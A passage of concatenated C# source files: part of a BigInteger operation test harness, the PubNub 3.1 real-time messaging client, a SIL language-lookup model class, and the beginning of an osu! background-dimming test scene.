nineOrderOperations[op-10](b1, b3, results[op][2]);
break;
case 3:
nineOrderOperations[op-10](b2, b1, results[op][3]);
break;
case 4:
nineOrderOperations[op-10](b2, b2, results[op][4]);
break;
case 5:
nineOrderOperations[op-10](b2, b3, results[op][5]);
break;
case 6:
nineOrderOperations[op-10](b3, b1, results[op][6]);
break;
case 7:
nineOrderOperations[op-10](b3, b2, results[op][7]);
break;
case 8:
nineOrderOperations[op-10](b3, b3, results[op][8]);
break;
default:
Valid = false;
break;
}
break;
case 31:
switch (order % 27)
{
case 0:
ModPow(b1, b1, b1, results[31][0]);
break;
case 1:
ModPow(b1, b1, b2, results[31][1]);
break;
case 2:
ModPow(b1, b1, b3, results[31][2]);
break;
case 3:
ModPow(b1, b2, b1, results[31][3]);
break;
case 4:
ModPow(b1, b2, b2, results[31][4]);
break;
case 5:
ModPow(b1, b2, b3, results[31][5]);
break;
case 6:
ModPow(b1, b3, b1, results[31][6]);
break;
case 7:
ModPow(b1, b3, b2, results[31][7]);
break;
case 8:
ModPow(b1, b3, b3, results[31][8]);
break;
case 9:
ModPow(b2, b1, b1, results[31][9]);
break;
case 10:
ModPow(b2, b1, b2, results[31][10]);
break;
case 11:
ModPow(b2, b1, b3, results[31][11]);
break;
case 12:
ModPow(b2, b2, b1, results[31][12]);
break;
case 13:
ModPow(b2, b2, b2, results[31][13]);
break;
case 14:
ModPow(b2, b2, b3, results[31][14]);
break;
case 15:
ModPow(b2, b3, b1, results[31][15]);
break;
case 16:
ModPow(b2, b3, b2, results[31][16]);
break;
case 17:
ModPow(b2, b3, b3, results[31][17]);
break;
case 18:
ModPow(b3, b1, b1, results[31][18]);
break;
case 19:
ModPow(b3, b1, b2, results[31][19]);
break;
case 20:
ModPow(b3, b1, b3, results[31][20]);
break;
case 21:
ModPow(b3, b2, b1, results[31][21]);
break;
case 22:
ModPow(b3, b2, b2, results[31][22]);
break;
case 23:
ModPow(b3, b2, b3, results[31][23]);
break;
case 24:
ModPow(b3, b3, b1, results[31][24]);
break;
case 25:
ModPow(b3, b3, b2, results[31][25]);
break;
case 26:
ModPow(b3, b3, b3, results[31][26]);
break;
default:
Valid = false;
break;
}
break;
default:
Valid = false;
break;
}
Assert.True(Valid, String.Format("Cycle {0} corrupted with operation {1} on order {2}", id, op, order));
}
}
private void Sign(BigInteger a, BigInteger expected)
{
Assert.Equal(a.Sign, expected);
}
private void Op_Not(BigInteger a, BigInteger expected)
{
Assert.Equal(~a, expected);
}
private void Log10(BigInteger a, BigInteger expected)
{
Assert.Equal(MyBigIntImp.ApproximateBigInteger(BigInteger.Log10(a)), expected);
}
private void Log(BigInteger a, BigInteger expected)
{
Assert.Equal(MyBigIntImp.ApproximateBigInteger(BigInteger.Log(a)), expected);
}
private void Abs(BigInteger a, BigInteger expected)
{
Assert.Equal(BigInteger.Abs(a), expected);
}
private void Op_Decrement(BigInteger a, BigInteger expected)
{
Assert.Equal(--a, expected);
}
private void Op_Increment(BigInteger a, BigInteger expected)
{
Assert.Equal(++a, expected);
}
private void Negate(BigInteger a, BigInteger expected)
{
Assert.Equal(BigInteger.Negate(a), expected);
}
private void Op_Negate(BigInteger a, BigInteger expected)
{
Assert.Equal(-a, expected);
}
private void Op_Plus(BigInteger a, BigInteger expected)
{
Assert.Equal(+a, expected);
}
private void Min(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal(BigInteger.Min(a, b), expected);
}
private void Max(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal(BigInteger.Max(a, b), expected);
}
private void Op_RightShift(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal((a >> MakeInt32(b)), expected);
}
private void Op_LeftShift(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal((a << MakeInt32(b)), expected);
}
private void Op_Xor(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal((a ^ b), expected);
}
private void Op_Or(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal((a | b), expected);
}
private void Op_And(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal((a & b), expected);
}
private void Log(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal(MyBigIntImp.ApproximateBigInteger(BigInteger.Log(a, (double)b)), expected);
}
private void GCD(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal(BigInteger.GreatestCommonDivisor(a, b), expected);
}
public bool Pow(BigInteger a, BigInteger b, BigInteger expected)
{
b = MakeInt32(b);
if (b < 0)
{
b = -b;
}
return (BigInteger.Pow(a, (int)b) == expected);
}
public bool DivRem(BigInteger a, BigInteger b, BigInteger expected)
{
BigInteger c = 0;
return (BigInteger.DivRem(a, b, out c) == expected);
}
private void Remainder(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal(BigInteger.Remainder(a, b), expected);
}
private void Op_Modulus(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal((a % b), expected);
}
private void Divide(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal(BigInteger.Divide(a, b), expected);
}
private void Op_Divide(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal((a / b), expected);
}
private void Multiply(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal(BigInteger.Multiply(a, b), expected);
}
private void Op_Multiply(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal((a * b), expected);
}
private void Subtract(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal(BigInteger.Subtract(a, b), expected);
}
private void Op_Subtract(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal((a - b), expected);
}
private void Add(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal(BigInteger.Add(a, b), expected);
}
private void Op_Add(BigInteger a, BigInteger b, BigInteger expected)
{
Assert.Equal((a + b), expected);
}
public bool ModPow(BigInteger a, BigInteger b, BigInteger c, BigInteger expected)
{
if (b < 0)
{
b = -b;
}
return (BigInteger.ModPow(a, b, c) == expected);
}
private int MakeInt32(BigInteger input)
{
int output;
if (input < 0)
{
input = -input;
}
input = input + int.MaxValue;
byte[] temp = input.ToByteArray();
temp[1] = 0;
temp[2] = 0;
temp[3] = 0;
output = BitConverter.ToInt32(temp, 0);
if (output == 0)
{
output = 1;
}
return output;
}
}
}
| |
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Collections;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Web.Script.Serialization;
using System.Linq;
using Newtonsoft.Json.Linq;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Json;
using System.ComponentModel;
using Newtonsoft.Json;
using System.Threading;
using System.IO.Compression;
using PubnubCrypto;
/**
* PubNub 3.1 Real-time Push Cloud API
*
* @author Stephen Blum
* @package pubnub
*/
namespace Pubnub
{
public class Channel_status
{
public string channel;
public bool connected, first;
}
public class pubnub
{
private string ORIGIN = "pubsub.pubnub.com";
private string PUBLISH_KEY = "";
private string SUBSCRIBE_KEY = "";
private string SECRET_KEY = "";
private string CIPHER_KEY = "";
private bool SSL = false;
private ManualResetEvent webRequestDone;
volatile private bool abort;
public delegate bool Procedure(object message);
private List<Channel_status> subscriptions;
/**
* PubNub 3.1 with cipher key
*
* Prepare PubNub Class State.
*
* @param string Publish Key.
* @param string Subscribe Key.
* @param string Secret Key.
* @param string Cipher Key.
* @param bool SSL Enabled.
*/
public pubnub(
string publish_key,
string subscribe_key,
string secret_key,
string cipher_key,
bool ssl_on
)
{
this.init(publish_key, subscribe_key, secret_key, cipher_key, ssl_on);
}
/**
* PubNub 3.0 Compatibility
*
* Prepare PubNub Class State.
*
* @param string Publish Key.
* @param string Subscribe Key.
* @param string Secret Key.
* @param bool SSL Enabled.
*/
public pubnub(
string publish_key,
string subscribe_key,
string secret_key,
bool ssl_on
)
{
this.init(publish_key, subscribe_key, secret_key, "", ssl_on);
}
/**
* PubNub 2.0 Compatibility
*
* Prepare PubNub Class State.
*
* @param string Publish Key.
* @param string Subscribe Key.
*/
public pubnub(
string publish_key,
string subscribe_key
)
{
this.init(publish_key, subscribe_key, "", "", false);
}
/**
* PubNub 3.0 without SSL
*
* Prepare PubNub Class State.
*
* @param string Publish Key.
* @param string Subscribe Key.
* @param string Secret Key.
*/
public pubnub(
string publish_key,
string subscribe_key,
string secret_key
)
{
this.init(publish_key, subscribe_key, secret_key, "", false);
}
/**
* Init
*
* Prepare PubNub Class State.
*
* @param string Publish Key.
* @param string Subscribe Key.
* @param string Secret Key.
* @param string Cipher Key.
* @param bool SSL Enabled.
*/
public void init(
string publish_key,
string subscribe_key,
string secret_key,
string cipher_key,
bool ssl_on
)
{
this.PUBLISH_KEY = publish_key;
this.SUBSCRIBE_KEY = subscribe_key;
this.SECRET_KEY = secret_key;
this.CIPHER_KEY = cipher_key;
this.SSL = ssl_on;
// SSL On?
if (this.SSL)
{
this.ORIGIN = "https://" + this.ORIGIN;
}
else
{
this.ORIGIN = "http://" + this.ORIGIN;
}
webRequestDone = new ManualResetEvent(true);
}
/**
* Publish
*
* Send a message to a channel.
*
* @param Dictionary<string, object> args
* args is string channel name and object message
* @return List<object> info.
*/
public List<object> Publish(Dictionary<string, object> args)
{
string channel = args["channel"].ToString();
object message = args["message"];
JavaScriptSerializer serializer = new JavaScriptSerializer();
clsPubnubCrypto pc = new clsPubnubCrypto(this.CIPHER_KEY);
if (this.CIPHER_KEY.Length > 0)
{
if (message.GetType() == typeof(string))
{
message = pc.encrypt(message.ToString());
}
else if (message.GetType() == typeof(object[]))
{
message = pc.encrypt((object[])message);
}
else if (message.GetType() == typeof(Dictionary<string, object>))
{
Dictionary<string, object> dict = (Dictionary<string, object>)message;
message = pc.encrypt(dict);
}
}
// Generate String to Sign
string signature = "0";
if (this.SECRET_KEY.Length > 0)
{
StringBuilder string_to_sign = new StringBuilder();
string_to_sign
.Append(this.PUBLISH_KEY)
.Append('/')
.Append(this.SUBSCRIBE_KEY)
.Append('/')
.Append(this.SECRET_KEY)
.Append('/')
.Append(channel)
.Append('/')
.Append(serializer.Serialize(message));
// Sign Message
signature = getHMACSHA256(string_to_sign.ToString());
}
// Build URL
List<string> url = new List<string>();
url.Add("publish");
url.Add(this.PUBLISH_KEY);
url.Add(this.SUBSCRIBE_KEY);
url.Add(signature);
url.Add(channel);
url.Add("0");
url.Add(serializer.Serialize(message));
// Return JSONArray
return _request(url);
}
/**
* Subscribe
*
* This function is BLOCKING.
* Listen for a message on a channel.
*
* @param Dictionary<string,object> args.
* args contains channel name and Procedure function callback.
*/
public void Subscribe(Dictionary<string, object> args)
{
args.Add("timestamp", 0);
this._subscribe(args);
}
/**
* _subscribe - Private Interface
*
* @param Dictionary<string, object> args
* args is channel name and Procedure function callback and timetoken
*
*/
private void _subscribe(Dictionary<string, object> args)
{
bool is_disconnect = false;
bool is_alreadyConnect = false;
Procedure callback=null, connect_cb, disconnect_cb, reconnect_cb, error_cb;
clsPubnubCrypto pc = new clsPubnubCrypto(this.CIPHER_KEY);
string channel = args["channel"].ToString();
object timetoken = args["timestamp"];
// Validate Arguments
if (args["callback"] != null)
{
callback = (Procedure)args["callback"];
}
else
{
Console.WriteLine("Invalid Callback.");
}
if(args.ContainsKey("connect_cb") && args["connect_cb"] != null)
connect_cb = (Procedure)args["connect_cb"];
else
connect_cb = new Procedure(doNothing);
if (args.ContainsKey("disconnect_cb") && args["disconnect_cb"] != null)
disconnect_cb = (Procedure)args["disconnect_cb"];
else
disconnect_cb = new Procedure(doNothing);
if (args.ContainsKey("reconnect_cb") && args["reconnect_cb"] != null)
reconnect_cb = (Procedure)args["reconnect_cb"];
else
reconnect_cb = new Procedure(doNothing);
if (args.ContainsKey("error_cb") && args["error_cb"] != null)
error_cb = (Procedure)args["error_cb"];
else
error_cb = (Procedure)args["callback"];
if (channel == null || channel =="")
{
error_cb("Invalid Channel.");
return;
}
// Ensure Single Connection
if (subscriptions != null && subscriptions.Count > 0)
{
bool channel_exist = false;
foreach (Channel_status cs in subscriptions)
{
if (cs.channel == channel)
{
channel_exist = true;
if (!cs.connected)
{
cs.connected = true;
}
else
is_alreadyConnect = true;
break;
}
}
if (!channel_exist)
{
Channel_status cs = new Channel_status();
cs.channel = channel;
cs.connected = true;
subscriptions.Add(cs);
}
else if (is_alreadyConnect)
{
error_cb("Already Connected");
return;
}
}
else
{
// New Channel
Channel_status cs = new Channel_status();
cs.channel = channel;
cs.connected = true;
subscriptions = new List<Channel_status>();
subscriptions.Add(cs);
}
bool is_reconnected = false;
// Begin Recusive Subscribe
while (true)
{
try
{
// Build URL
List<string> url = new List<string>();
url.Add("subscribe");
url.Add(this.SUBSCRIBE_KEY);
url.Add(channel);
url.Add("0");
url.Add(timetoken.ToString());
// Stop Connection?
is_disconnect = false;
foreach (Channel_status cs in subscriptions)
{
if (cs.channel == channel)
{
if (!cs.connected)
{
disconnect_cb("Disconnected to channel : " + channel);
is_disconnect = true;
break;
}
}
}
if (is_disconnect)
return;
// Wait for Message
List<object> response = _request(url);
// Stop Connection?
foreach (Channel_status cs in subscriptions)
{
if (cs.channel == channel)
{
if (!cs.connected)
{
disconnect_cb("Disconnected to channel : " + channel);
is_disconnect = true;
break;
}
}
}
if (is_disconnect)
return;
// Problem?
if (response == null || response[1].ToString() == "0")
{
for (int i = 0; i < subscriptions.Count(); i++)
{
Channel_status cs = subscriptions[i];
if (cs.channel == channel)
{
subscriptions.RemoveAt(i);
disconnect_cb("Disconnected to channel : " + channel);
}
}
// Ensure Connected (Call Time Function)
while (true)
{
string time_token = Time().ToString();
if (time_token == "0")
{
// Reconnect Callback
reconnect_cb("Reconnecting to channel : " + channel);
Thread.Sleep(5000);
}
else
{
is_reconnected = true;
break;
}
}
if (is_reconnected)
{
break;
}
}
else
{
foreach (Channel_status cs in subscriptions)
{
if (cs.channel == channel)
{
// Connect Callback
if (!cs.first)
{
cs.first = true;
connect_cb("Connected to channel : " + channel);
break;
}
}
}
}
// Update TimeToken
if (response[1].ToString().Length > 0)
timetoken = (object)response[1];
// Run user Callback and Reconnect if user permits.
object message = "";
foreach (object msg in (object[])response[0])
{
if (this.CIPHER_KEY.Length > 0)
{
if (msg.GetType() == typeof(string))
{
message = pc.decrypt(msg.ToString());
}
else if (msg.GetType() == typeof(object[]))
{
message = pc.decrypt((object[])msg);
}
else if (msg.GetType() == typeof(Dictionary<string, object>))
{
Dictionary<string, object> dict = (Dictionary<string, object>)msg;
message = pc.decrypt(dict);
}
}
else
{
if (msg.GetType() == typeof(object[]))
{
object[] obj = (object[])msg;
JArray jArr = new JArray();
for (int i = 0; i < obj.Count(); i++)
{
jArr.Add(obj[i]);
}
message = jArr;
}
else if (msg.GetType() == typeof(Dictionary<string, object>))
{
message = extractObject((Dictionary<string, object>)msg);
}
else
{
message = msg;
}
}
if (!callback(message)) return;
}
}
catch
{
System.Threading.Thread.Sleep(1000);
}
}
if (is_reconnected)
{
// Reconnect Callback
args["channel"] = channel;
args["callback"] = callback;
args["timestamp"] = timetoken;
this._subscribe(args);
}
}
/**
* Request URL
*
* @param List<string> request of url directories.
* @return List<object> from JSON response.
*/
private List<object> _request(List<string> url_components)
{
try
{
string temp = null;
int count = 0;
byte[] buf = new byte[8192];
StringBuilder url = new StringBuilder();
StringBuilder sb = new StringBuilder();
JavaScriptSerializer serializer = new JavaScriptSerializer();
// Add Origin To The Request
url.Append(this.ORIGIN);
// Generate URL with UTF-8 Encoding
foreach (string url_bit in url_components)
{
url.Append("/");
url.Append(_encodeURIcomponent(url_bit));
}
// Create Request
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.ToString());
// Set Timeout
request.Timeout = 310000;
request.ReadWriteTimeout = 310000;
request.Headers.Add(HttpRequestHeader.AcceptEncoding, "gzip");
request.Headers.Add("V", "3.1");
request.UserAgent = "C#-Mono";
webRequestDone.Reset();
IAsyncResult asyncResult = request.BeginGetResponse(new AsyncCallback(requestCallBack), null);
webRequestDone.WaitOne();
if (abort)
{
return new List<object>();
}
// Receive Response
HttpWebResponse response = (HttpWebResponse)request.EndGetResponse(asyncResult);
// Read
using (Stream stream = response.GetResponseStream())
{
Stream resStream = stream;
if (response.ContentEncoding.ToLower().Contains("gzip"))
{
resStream = new GZipStream(stream, CompressionMode.Decompress);
}
else
{
resStream = stream;
}
do
{
count = resStream.Read(buf, 0, buf.Length);
if (count != 0)
{
temp = Encoding.UTF8.GetString(buf, 0, count);
sb.Append(temp);
}
} while (count > 0);
}
// Parse Response
string message = sb.ToString();
return serializer.Deserialize<List<object>>(message);
}
catch (Exception ex)
{
List<object> error = new List<object>();
if (url_components[0] == "time")
{
error.Add("0");
}
else if (url_components[0] == "history")
{
error.Add("Error: Failed JSONP HTTP Request.");
}
else if (url_components[0] == "publish")
{
error.Add("0");
error.Add("Error: Failed JSONP HTTP Request.");
}
else if (url_components[0] == "subscribe")
{
error.Add("0");
error.Add("0");
}
return error;
}
}
private void requestCallBack(IAsyncResult result)
{
// release thread block
webRequestDone.Set();
}
public void Abort()
{
abort = true;
webRequestDone.Set();
}
/**
* Time
*
* Timestamp from PubNub Cloud.
*
* @return object timestamp.
*/
public object Time()
{
List<string> url = new List<string>();
url.Add("time");
url.Add("0");
List<object> response = _request(url);
return response[0];
}
/**
* UUID
* @return string unique identifier
*/
public string UUID()
{
return Guid.NewGuid().ToString();
}
/**
* History
*
* Load history from a channel.
*
* @param Dictionary<string, string> args
* args is channel name and int limit history count response.
* @return List<object> of history.
*/
public List<object> History(Dictionary<string, string> args)
{
string channel = args["channel"];
int limit = Convert.ToInt32(args["limit"]);
List<string> url = new List<string>();
url.Add("history");
url.Add(this.SUBSCRIBE_KEY);
url.Add(channel);
url.Add("0");
url.Add(limit.ToString());
if (this.CIPHER_KEY.Length > 0)
{
clsPubnubCrypto pc = new clsPubnubCrypto(this.CIPHER_KEY);
return pc.decrypt(_request(url));
}
else
{
List<object> objTop = _request(url);
List<object> result = new List<object>();
foreach (object o in objTop)
{
if(o.GetType() == typeof(Dictionary<string,object>))
{
JObject jobj = new JObject();
foreach (KeyValuePair<string, object> pair in (Dictionary<string, object>)o)
{
jobj.Add(pair.Key, pair.Value.ToString());
}
result.Add(jobj);
}
else if (o.GetType() == typeof(object[]))
{
object[] obj = (object[])o;
JArray jArr = new JArray();
for (int i = 0; i < obj.Count(); i++)
{
jArr.Add(obj[i]);
}
result.Add(jArr);
}
else
{
result.Add(o);
}
}
return result;
}
}
/**
* Unsubscribe
*
* Unsubscribe/Disconnect to channel.
*
* @param Dictionary<String, Object> containing channel name.
*/
public void Unsubscribe(Dictionary<String, Object> args)
{
String channel = args["channel"].ToString();
foreach (Channel_status cs in subscriptions)
{
if (cs.channel == channel && cs.connected)
{
cs.connected = false;
cs.first = false;
break;
}
}
}
private string _encodeURIcomponent(string s)
{
StringBuilder o = new StringBuilder();
foreach (char ch in s.ToCharArray())
{
if (isUnsafe(ch))
{
o.Append('%');
o.Append(toHex(ch / 16));
o.Append(toHex(ch % 16));
}
else o.Append(ch);
}
return o.ToString();
}
private char toHex(int ch)
{
return (char)(ch < 10 ? '0' + ch : 'A' + ch - 10);
}
private bool isUnsafe(char ch)
{
return " ~`!@#$%^&*()+=[]\\{}|;':\",./<>?".IndexOf(ch) >= 0;
}
private static string getHMACSHA256(string text)
{
HMACSHA256 sha256 = new HMACSHA256();
byte[] data = Encoding.Default.GetBytes(text);
byte[] hash = sha256.ComputeHash(data);
string hexaHash = "";
foreach (byte b in hash) hexaHash += String.Format("{0:x2}", b);
return hexaHash;
}
private JObject extractObject(Dictionary<string, object> msg)
{
JObject jobj = new JObject();
foreach (KeyValuePair<string, object> pair in (Dictionary<string, object>)msg)
{
if (pair.Value.GetType() == typeof(Dictionary<string, object>))
{
JObject tempObj = extractObject((Dictionary<string, object>)pair.Value);
jobj.Add(pair.Key, tempObj);
}
else
{
jobj.Add(pair.Key, pair.Value.ToString());
}
}
return jobj;
}
private bool doNothing(object result)
{
// do nothing
return false;
}
}
}
| |
using System;
using System.Collections.Generic;
using System.Linq;
using L10NSharp;
using SIL.Extensions;
using SIL.WritingSystems;
namespace SIL.Windows.Forms.WritingSystems
{
public class LanguageLookupModel
{
private static readonly string UnlistedLanguageName = LocalizationManager.GetString("LanguageLookup.UnlistedLanguage", "Unlisted Language");
private LanguageLookup _languageLookup;
private string _searchText;
private LanguageInfo _selectedLanguage;
private LanguageInfo _originalLanguageInfo;
private string _desiredLanguageName;
public Func<LanguageInfo, bool> MatchingLanguageFilter { get; set; }
public LanguageLookup LanguageLookup
{
get { return _languageLookup; }
}
public string SearchText
{
get { return _searchText; }
set { _searchText = value.Trim(); }
}
public bool HaveSufficientInformation
{
get
{
return _desiredLanguageName != null && SelectedLanguage != null &&
_desiredLanguageName != UnlistedLanguageName && _desiredLanguageName.Length > 0;
}
}
public string DesiredLanguageName
{
get
{
return _desiredLanguageName ?? string.Empty;
}
set
{
_desiredLanguageName = value == null ? null : value.Trim();
if (SelectedLanguage != null)
SelectedLanguage.DesiredName = _desiredLanguageName;
}
}
public void LoadLanguages()
{
_languageLookup = new LanguageLookup(!_includeScriptMarkers);
}
public bool AreLanguagesLoaded
{
get { return _languageLookup != null; }
}
public IEnumerable<LanguageInfo> MatchingLanguages
{
get
{
if (_searchText == "?")
{
yield return new LanguageInfo {LanguageTag = "qaa", Names = {UnlistedLanguageName}};
yield break;
}
foreach (LanguageInfo li in _languageLookup.SuggestLanguages(_searchText).Where(
li =>
(MatchingLanguageFilter == null || MatchingLanguageFilter(li)) &&
RegionalDialectsFilter(li) && ScriptMarkerFilter(li)))
{
yield return li;
}
}
}
/// <summary>
/// If so desired, filter out any language whose tags contain a Script value. Except that there are 90+
/// languages in the data whose tags all contain a Script value. Since we don't want to lose access to
/// those languages, we detect when that happens and pass the first occurrence with the tag adjusted to
/// the bare language code.
/// </summary>
private bool ScriptMarkerFilter(LanguageInfo li)
{
if (IncludeScriptMarkers)
return true;
// written this way to avoid having to catch predictable exceptions as the user is typing
string language;
string script;
string region;
string variant;
if (IetfLanguageTag.TryGetParts(li.LanguageTag, out language, out script, out region, out variant))
return string.IsNullOrEmpty(script); // OK only if no script.
return true; // Not a tag? Don't filter it out.
}
/// <summary>
/// Filter out tags that contain a region marker unless the caller has already specified that region
/// markers are allowed in language tags. Note that li.LanguageTag can be just a search string the
/// user has typed, which might be a (partial) language tag or might be (part of) a language name.
/// If the tag doesn't actually parse as a language tag, we assume the user is typing something other
/// than a language tag and consider it not to be something we'd filter out as specifying a region.
/// </summary>
private bool RegionalDialectsFilter(LanguageInfo li)
{
if (IncludeRegionalDialects)
return true;
// always include Chinese languages with region codes
if (li.LanguageTag.IsOneOf("zh-CN", "zh-TW"))
return true;
// written this way to avoid having to catch predictable exceptions as the user is typing
string language;
string script;
string region;
string variant;
if (IetfLanguageTag.TryGetParts(li.LanguageTag, out language, out script, out region, out variant))
return string.IsNullOrEmpty(region); // OK only if no region.
return true; // Not a tag? Don't filter it out.
}
public LanguageInfo SelectedLanguage
{
get { return _selectedLanguage; }
set
{
var oldValue = _selectedLanguage;
_selectedLanguage = value;
if (_selectedLanguage == null)
return;
if (oldValue == null)
{
// We're setting up the model prior to using it (as opposed to changing the language later)
// We'll use ShallowCopy() to avoid changing any "official" version of a language somewhere.
_originalLanguageInfo = _selectedLanguage.ShallowCopy();
}
if (LanguageTag == "qaa")
{
if (_searchText == "?")
return;
string failedSearchText = _searchText.ToUpperFirstLetter();
_desiredLanguageName = failedSearchText;
_selectedLanguage.Names.Insert(0, failedSearchText);
}
else
{
// We set the selected language in two main ways: the client may set it, possibly using a newly created
// and incomplete LanguageInfo, partly as a way of passing in the desiredName for the current selection;
// It also gets set as we run the initial (or any subsequent) search based on choosing one of the search results.
// The search result typically doesn't have a DesiredName set so we can easily overwrite the desired
// name sent in by the client.
if (oldValue != null && oldValue.LanguageTag == _selectedLanguage.LanguageTag)
{
// We're probably just setting the same language as selected earlier, but this time to a languageInfo
// selected from our list. We want to update that object, so that (a) if the user switches back to it,
// we can reinstate their desired name; and (b) so that if the client retrieves this object, rather
// than the one they originally set, after the dialog closes, they will get the original desired name back.
// (Unless the user subsequently changes it, of course.)
_selectedLanguage.DesiredName = _desiredLanguageName;
}
else
{
// Either setting it for the first time (from client), or something made us really change language.
// Either way we need to update _desiredLanguage name; it can't be useful for a different language.
_desiredLanguageName = _selectedLanguage.DesiredName;
}
}
}
}
public string LanguageTag
{
get
{
if (_selectedLanguage == null)
return string.Empty;
return _selectedLanguage.LanguageTag;
}
}
public bool IncludeRegionalDialects { get; set; }
private bool _includeScriptMarkers = true; // preserve old default behavior
public bool IncludeScriptMarkers
{
get { return _includeScriptMarkers;}
set
{
_includeScriptMarkers = value;
_languageLookup = new LanguageLookup(!_includeScriptMarkers);
}
}
private static bool LanguageTagContainsScrRegVarInfo(LanguageInfo languageInfo)
{
if (string.IsNullOrEmpty(languageInfo?.LanguageTag))
return false;
// Review: Someone tell me if this isn't sufficient!?
return languageInfo.LanguageTag.Contains("-");
}
/// <summary>
/// Does the Selected Language Tag include extra Script/Region/Variant subtags?
/// </summary>
public bool LanguageTagContainsScriptRegionVariantInfo => LanguageTagContainsScrRegVarInfo(SelectedLanguage);
private static string LanguageTagWithoutSubtags(LanguageInfo languageInfo)
{
return LanguageTagContainsScrRegVarInfo(languageInfo)
? languageInfo.LanguageTag.Split('-')[0]
: languageInfo.LanguageTag;
}
public string LanguageTagWithoutScriptRegionVariant => LanguageTagWithoutSubtags(SelectedLanguage);
public string OriginalLanguageTagWithoutSubtags => LanguageTagWithoutSubtags(_originalLanguageInfo);
public bool OriginalLanguageTagContainsSubtags =>
LanguageTagContainsScrRegVarInfo(_originalLanguageInfo);
public LanguageInfo OriginalLanguageInfo => _originalLanguageInfo;
}
}
| |
// Copyright (c) ppy Pty Ltd <contact@ppy.sh>. Licensed under the MIT Licence.
// See the LICENCE file in the repository root for full licence text.
using System.Linq;
using System.Threading;
using NUnit.Framework;
using osu.Framework.Allocation;
using osu.Framework.Audio;
using osu.Framework.Bindables;
using osu.Framework.Extensions;
using osu.Framework.Graphics;
using osu.Framework.Graphics.Sprites;
using osu.Framework.Input.Events;
using osu.Framework.Input.States;
using osu.Framework.Platform;
using osu.Framework.Screens;
using osu.Framework.Utils;
using osu.Game.Beatmaps;
using osu.Game.Configuration;
using osu.Game.Graphics;
using osu.Game.Graphics.Containers;
using osu.Game.Graphics.Sprites;
using osu.Game.Rulesets;
using osu.Game.Rulesets.Osu.Mods;
using osu.Game.Scoring;
using osu.Game.Screens;
using osu.Game.Screens.Backgrounds;
using osu.Game.Screens.Play;
using osu.Game.Screens.Play.PlayerSettings;
using osu.Game.Screens.Ranking;
using osu.Game.Screens.Select;
using osu.Game.Tests.Resources;
using osuTK;
using osuTK.Graphics;
namespace osu.Game.Tests.Visual.Background
{
[TestFixture]
public class TestSceneUserDimBackgrounds : ScreenTestScene
{
private DummySongSelect songSelect;
private TestPlayerLoader playerLoader;
private LoadBlockingTestPlayer player;
private BeatmapManager manager;
private RulesetStore rulesets;
[BackgroundDependencyLoader]
private void load(GameHost host, AudioManager audio)
{
Dependencies.Cache(rulesets = new RealmRulesetStore(Realm));
Dependencies.Cache(manager = new BeatmapManager(LocalStorage, Realm, rulesets, null, audio, Resources, host, Beatmap.Default));
Dependencies.Cache(new OsuConfigManager(LocalStorage));
Dependencies.Cache(Realm);
manager.Import(TestResources.GetQuickTestBeatmapForImport()).WaitSafely();
Beatmap.SetDefault();
}
public override void SetUpSteps()
{
base.SetUpSteps();
AddStep("push song select", () => Stack.Push(songSelect = new DummySongSelect()));
}
/// <summary>
/// User settings should always be ignored on song select screen.
/// </summary>
[Test]
public void TestUserSettingsIgnoredOnSongSelect()
{
setupUserSettings();
AddUntilStep("Screen is undimmed", () => songSelect.IsBackgroundUndimmed());
AddUntilStep("Screen using background blur", () => songSelect.IsBackgroundBlur());
performFullSetup();
AddStep("Exit to song select", () => player.Exit());
AddUntilStep("Screen is undimmed", () => songSelect.IsBackgroundUndimmed());
AddUntilStep("Screen using background blur", () => songSelect.IsBackgroundBlur());
}
/// <summary>
/// Check if <see cref="PlayerLoader"/> properly triggers the visual settings preview when a user hovers over the visual settings panel.
/// </summary>
[Test]
public void TestPlayerLoaderSettingsHover()
{
setupUserSettings();
AddStep("Start player loader", () => songSelect.Push(playerLoader = new TestPlayerLoader(player = new LoadBlockingTestPlayer { BlockLoad = true })));
AddUntilStep("Wait for Player Loader to load", () => playerLoader?.IsLoaded ?? false);
AddAssert("Background retained from song select", () => songSelect.IsBackgroundCurrent());
AddStep("Trigger background preview", () =>
{
InputManager.MoveMouseTo(playerLoader.ScreenPos);
InputManager.MoveMouseTo(playerLoader.VisualSettingsPos);
});
AddUntilStep("Screen is dimmed and blur applied", () => songSelect.IsBackgroundDimmed() && songSelect.IsUserBlurApplied());
AddStep("Stop background preview", () => InputManager.MoveMouseTo(playerLoader.ScreenPos));
AddUntilStep("Screen is undimmed and user blur removed", () => songSelect.IsBackgroundUndimmed() && songSelect.CheckBackgroundBlur(playerLoader.ExpectedBackgroundBlur));
}
/// <summary>
/// In the case of a user triggering the dim preview the instant player gets loaded, then moving the cursor off of the visual settings:
/// The OnHover of PlayerLoader will trigger, which could potentially cause visual settings to be unapplied unless checked for in PlayerLoader.
/// We need to check that in this scenario, the dim and blur is still properly applied after entering player.
/// </summary>
[Test]
public void TestPlayerLoaderTransition()
{
performFullSetup();
AddStep("Trigger hover event", () => playerLoader.TriggerOnHover());
AddAssert("Background retained from song select", () => songSelect.IsBackgroundCurrent());
AddUntilStep("Screen is dimmed and blur applied", () => songSelect.IsBackgroundDimmed() && songSelect.IsUserBlurApplied());
}
/// <summary>
/// Make sure the background is fully invisible (Alpha == 0) when the background should be disabled by the storyboard.
/// </summary>
[Test]
